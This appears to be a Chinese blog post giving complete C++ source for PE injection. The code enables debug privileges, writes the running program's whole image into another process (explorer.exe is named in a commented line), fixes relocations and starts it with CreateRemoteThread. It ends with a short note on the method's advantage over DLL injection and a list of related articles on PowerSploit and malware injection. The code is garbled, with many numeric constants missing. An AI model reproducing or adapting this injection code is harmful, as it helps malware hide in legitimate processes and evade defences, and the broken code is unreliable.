// PE注入.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h" #include <windows.h> #include <tlhelp32.h> #include <process.h> #include <stdio.h> #pragma comment (lib, "winmm.lib") #pragma comment (lib, "kernel32.lib") /*获取进程ID号*/ DWORD GetProcessIdByName(LPWSTR name) { PROCESSENTRY32 pe32; HANDLE snapshot = NULL; DWORD pid = ; snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ); if (snapshot != INVALID_HANDLE_VALUE) { pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &pe32)) { do { if (!lstrcmp(pe32.szExeFile, name)) { pid = pe32.th32ProcessID; break; } } while (Process32Next(snapshot, &pe32)); } CloseHandle(snapshot); } return pid; } extern "C" void mainCRTStartup();
DWORD main(); /**
 
* 远程进程内存中注入PE
 
*/ HMODULE injectModule(HANDLE proc, LPVOID module) { DWORD i = ; DWORD_PTR delta = NULL; DWORD_PTR olddelta = NULL; /* 获取模块PE头 */ PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew); PIMAGE_DATA_DIRECTORY datadir; /* 计算注入代码长度 */ DWORD moduleSize = headers->OptionalHeader.SizeOfImage; LPVOID distantModuleMemorySpace = NULL; LPBYTE tmpBuffer = NULL; BOOL ok = FALSE; if (headers->Signature != IMAGE_NT_SIGNATURE) return NULL; if (IsBadReadPtr(module, moduleSize)) return NULL; distantModuleMemorySpace = VirtualAllocEx(proc, NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (distantModuleMemorySpace != NULL) { tmpBuffer = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (tmpBuffer != NULL) { RtlCopyMemory(tmpBuffer, module, moduleSize); datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (datadir->Size > && datadir->VirtualAddress > ) { delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace - headers->OptionalHeader.ImageBase); olddelta = (DWORD_PTR)((LPBYTE)module - headers->OptionalHeader.ImageBase); PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->VirtualAddress); while (reloc->VirtualAddress != ) { if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { DWORD relocDescNb = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); for (i = ; i < relocDescNb; i++) { if (relocDescList[i] > ) { DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (relocDescList[i])))); *p -= olddelta; *p += delta; } } } reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock); } tmpBuffer[(DWORD)main - (DWORD)module] = 0x55; ok = WriteProcessMemory(proc, distantModuleMemorySpace, tmpBuffer, moduleSize, NULL); } VirtualFree(tmpBuffer, , MEM_RELEASE); } if (!ok) { VirtualFreeEx(proc, distantModuleMemorySpace, , MEM_RELEASE); distantModuleMemorySpace = NULL; } } return (HMODULE)distantModuleMemorySpace; } /**
 
* 获取DEBUG权限
 
*/ BOOL EnableDebugPrivileges(void) { HANDLE token; TOKEN_PRIVILEGES priv; BOOL ret = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { priv.PrivilegeCount = ; priv.Privileges[].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[].Luid) != FALSE && AdjustTokenPrivileges(token, FALSE, &priv, , NULL, NULL) != FALSE) { ret = TRUE; } CloseHandle(token); } return ret; } BOOL peInjection(DWORD pid, LPTHREAD_START_ROUTINE callRoutine) { HANDLE proc, thread; HMODULE module, injectedModule; BOOL result = FALSE; proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if (proc != NULL) { module = GetModuleHandle(NULL); injectedModule = (HMODULE)injectModule(proc, module); if (injectedModule != NULL) { LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule + (DWORD_PTR)((LPBYTE)callRoutine - (LPBYTE)module)); thread = CreateRemoteThread(proc, NULL, , remoteThread, NULL, , NULL); if (thread != NULL) { CloseHandle(thread); result = TRUE; } else { VirtualFreeEx(proc, module, , MEM_RELEASE); } } CloseHandle(proc); } return result; } DWORD WINAPI entryThread(LPVOID param) { DWORD newModuleD = (DWORD)param; MessageBox(NULL, L"Injection success.Now initializing runtime library.", NULL, ); //mainCRTStartup(); MessageBox(NULL, L"This will never be called.", NULL, ); return ; } void entryPoint() { MessageBox(NULL, L"entryPoint", NULL, ); EnableDebugPrivileges(); //peInjection(GetProcessIdByName(L"explorer.exe"), entryThread);
peInjection( , entryThread); }
DWORD main() { //MessageBox(NULL, L"In Main ", NULL, 0); printf("This printf can work because runtime library is now initialized.\n");
entryPoint(); //(NULL, L"In main end", NULL, 0); ExitThread(); return ; }

通过此方法可将一个进程的完整镜像完全注入到另外一个进程的内存空间中,从而在一个进程空间中包含了两套不同的代码。与DLL注入相比,PE注入的主要优势是不需要很多文件,只需要MAIN.EXE注入到其他进程并唤起自身代码即可。

PE注入的更多相关文章

  1. PE知识复习之PE文件空白区添加代码

    PE知识复习之PE文件空白区添加代码 一丶简介 根据上面所讲PE知识.我们已经可以实现我们的一点手段了.比如PE的入口点位置.改为我们的入口位置.并且填写我们的代码.这个就是空白区添加代码. 我们也可 ...

  2. powersploit的用法

    一.PowerSploit简介 PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察.权限提升.权限维持. Powershel ...

  3. Windows Dll Injection、Process Injection、API Hook、DLL后门/恶意程序入侵技术

    catalogue 1. 引言2. 使用注册表注入DLL3. 使用Windows挂钩来注入DLL4. 使用远程线程来注入DLL5. 使用木马DLL来注入DLL6. 把DLL作为调试器来注入7. 使用c ...

  4. powersploit使用实例

    一.AntivirusBypass(绕过杀毒) Find-AVSignature  发现杀软的签名 1.先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.p ...

  5. Exploit Kit——hacker入侵web,某iframe中将加载RIG EK登录页面,最终下载并执行Monero矿工

    RIG Exploit Kit使用PROPagate注入技术传播Monero Miner from:https://www.4hou.com/technology/12310.html 导语:Fire ...

  6. ReflectiveLoader分析(远程线程注入 PE修正)

    从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正 其中需要注入的dll和解析, 内存R ...

  7. PE病毒初探——向exe注入代码

    PE文件其实就是Windows可执行文件,关于它的一些简要介绍摘自百度: PE文件被称为可移植的执行体是Portable Execute的全称,常见的EXE.DLL.OCX.SYS.COM都是PE文件 ...

  8. Dll注入:修改PE文件 IAT注入

    PE原理就不阐述了, 这个注入是PE感染的一种,通过添加一个新节注入,会改变PE文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节. 步骤: ...

  9. DLL注入之修改PE静态注入

    DLL注入之修改PE静态注入 0x00 前言 我们要注入的的力量功能是下载baidu首页数据.代码如下: #include "stdio.h" #include"stdi ...

随机推荐

  1. CSS3动画

    参考:http://www.w3school.com.cn/css3/css3_animation.asp http://www.w3school.com.cn/tiy/t.asp?f=css3_im ...

  2. git学习——git理解和仓库的创建

    一.git用的3个工作的状态的理解. 1. 工作区 workspace(modified); 2. 暂存区 stage(staged) ; 3. git本地仓库 repository(commited ...

  3. json提交

    function publishPost(postId){ var _csrf = jQuery('*[name="_csrf"]').val(); jQuery.ajax({ t ...

  4. java正则表达式【大全】

    [正则表达式]文本框输入内容控制整数或者小数:^[0-9]+\.{0,1}[0-9]{0,2}$只能输入数字:"^[0-9]*$".只能输入n位的数字:"^\d{n}$& ...

  5. JAVA程序操作hbase的Maven配置pom.xml文件

    由于工作需要,用到Java连接Hbase读写数据.原来的方式是直接将依赖的jar包全部下载下来,然后工程里面引用. 现想重构下,改为使用Maven管理,遇到了各种坑,各种不好使,特总结下. <d ...

  6. Boost学习笔记(五) progress_display

    progress_display可以在控制台显示程序的执行进度,如果程序执行很耗费时间,那么它能够提供一个友好的用户界面 #include <boost\timer.hpp> #inclu ...

  7. 【leetcode❤python】 303. Range Sum Query - Immutable

    #-*- coding: UTF-8 -*- #Tags:dynamic programming,sumRange(i,j)=sum(j)-sum(i-1)class NumArray(object) ...

  8. VC++2013出现bug: 无法打开源文件“stdafx.h”

    VC++2013出现bug: 无法打开源文件“stdafx.h” 1.首先需要把#include "stdafx.h"置于最头 2.在解决方案资源管理器中添加以下几个文件(附图下)

  9. 怎样设置域名带www和不带www都可以访问

    1,域名解析添加两条A记录 2,IIS域名绑定添加两个主机头

  10. c++初步实现的一个LRU

    #include<iostream>#include<map> using namespace std; typedef struct Node{ int data; stru ...